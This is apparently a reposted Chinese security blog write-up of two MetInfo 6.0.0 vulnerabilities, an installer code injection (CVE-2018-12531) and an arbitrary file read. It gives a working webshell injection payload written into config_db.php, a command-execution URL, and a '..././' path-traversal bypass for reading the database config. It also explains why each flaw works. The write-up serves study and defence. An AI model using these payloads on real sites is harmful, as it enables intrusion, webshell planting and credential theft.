​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

  • A+
所属分类:安全文章

0x01 漏洞简介

        MetInfo是一套使用PHP和Mysql开发的内容管理系统。但是在MetInfo 6.0.0版本存在任意文件读取和任意代码执行漏洞。

        代码执行(CVE-2018-12531):

在安装过程中没有对输入进行过滤,导致任意代码执行,执行webshell。

        文件读取:

old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。


0x02 漏洞复现

代码执行

环境:

  • phpstudy pro

  • php 5.3.29

MetInfo 6.0.0源码下载:

http://www.metinfo.cn/upload/file/MetInfo6.0.0.zip

在填写数据库配置信息时插入payload

*/@system($_REQUEST[don9sec]);/*

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

忽略报错,只要能成功修改配置文件内容即可:

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

前去验证一下:

cat configconfig_db.php

如图,数据库配置文件已被成功修改,payload也已经成功插入:

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

# 路径为/config/config_db.php?don9sec=

执行命令ipconfig

/config/config_db.php?don9sec=ipconfig

如图,已成功执行ipcong:

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析



文件读取

环境:

  • phpstudy pro

  • php 5.3.29

如图,环境成功搭建:

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

读取文件config_db.php:

?dir=..././http/..././config/config_db.php

竟然复现失败!!!​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

估计又是因为文件权限,只好点到为止(偷图):

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析




0x03 漏洞分析

码执行

payload:

*/@system($_REQUEST[don9sec]);/*

插入之后:

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

payload携带的*//*刚好把前面和后面的/**/闭合,剩下中间的一句话,自然就可以执行代码了。



文件读取

首先观察payload:

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

切入点:

参数:$dir文件:include/thumb.php

全局定位字符串:

# $dirCtrl + Shift + F

挨个看,发现在old_thumb.class.php文件下的$dir参数满足漏洞构想

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

跟进该文件:

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

分析

  • 参数:$dir

  • 传参方式:GET

  • 是否过滤:将../置空

    • bypass

    # 无法使用../进行目录穿越,但可以使用..././ 进行绕过..././ - ../ = ../ # 🙈
  • 利用点:readfile函数,可读取文件

  • 调用前提:进入if判断

  • 进入前提:

    • strstr() :

      判断$dir中http字符串的首次出现位置,换句话说也就是$dir中必须含有http字符串。

即payload形式大致如下

# x表示文件路径?dir=..././http/..././xxx

现在需要找到有调用old_thumb.class.php的文件:

# old_thumbCtrl + Shift + F

​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

到此,完整的利用链就构造出来了:

  • 通过include/thumb.php进入到old_thumb.class.php

  • 然后经过层层bypass后的参数$dir构造目标文件路径即可

最终的payload如下:

?dir=..././http/..././config/config_db.php


参考

https://caiqiqi.github.io/

本文始发于微信公众号(don9sec):​MetInfo 6.0.0 任意文件读取/代码执行漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: